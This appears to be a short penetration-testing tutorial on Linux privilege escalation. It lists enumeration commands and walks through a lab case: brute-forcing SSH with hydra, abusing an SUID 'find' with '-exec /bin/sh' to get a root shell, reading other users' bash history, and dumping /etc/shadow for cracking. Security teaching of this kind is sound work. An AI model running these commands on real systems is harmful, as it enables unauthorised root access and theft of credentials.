When we first gain access to a Linux box there is a good chance that we have gotten a low level account. The next step is usually to escalate our privileges (give us access to more than we have now) up so we can view things like the shadow file. Or maybe there are certain tool we want to run to attack another system and need to be root to run these tools.
I wanted to give some idea of commands we can run to get information that may help us to escalate our privileges and then give really basic example to show what I mean.Who are you?
Linux Command: idWhere are you?
pwdWhat version of Linux is running?
uname -aWhat can you do?
sudo -lFind all files and directories that are owned by you
find / -user `whoami` -ls 2> /dev/nullList (running) processes/cronjobs
ls -R /etc/periodic/List Listeners/Sockets/Open files in general
netstat -anList users & groups
cat /etc/groupsFind SUID/SGID binaries
find / \( -perm -2000 -or -perm -4000 \) -ls 2> /dev/nullFind files that have been accessed/modified/changed recently (e.g. in past 60 Minutes)
find / -type f -amin 60 -ls 2> /dev/null
find / -type f -mmin 60 -ls 2> /dev/null
find / -type f -cmin 60 -ls 2> /dev/nullList files in /tmp
ls -al /tmp/See logfiles in /var/log
ls -al /var/logRead other users' bash history
cat /home/*/.bash_historyFind files with interesting extensions
find / -name "*.cfg" -or -name "*.config" -or -name "*.txt" -ls 2> /dev/nullBasic Example of usage:
We have been given a box to pen testing so we have taken the same process as most pen testing and done information gathering and run nmap scans.
- The only two ports that are open are 80 and 22
- We use Firefox to see if there any web page.
- We find there is a pretty simple web page that contains some information including email address.
- We then take these email address and produce a user list to use with hydra to brute force the ssh.
- After around 5 mins we get the username as john and passwords as password123.
- We then ssh into the box as the john using his password.
- We now want to try escalate our privileges so we can dump the shadow file and try to crack the other users password.
- We start with our basic privilege list above until we run find / \( -perm -2000 -or -perm -4000 \) -ls 2> /dev/null this tells us that the find command is running at suid
- We can use this to get a root shell by running find . -exec /bin/sh\; this will give us a euid of 0 meaning root.
- We can now use this to cat the /etc/shadow or ant other root task we want to complete on the box.
Please note this very basic example and depending on the system we may not want dump the hashes. I have just used this as its a very simple concept to explain.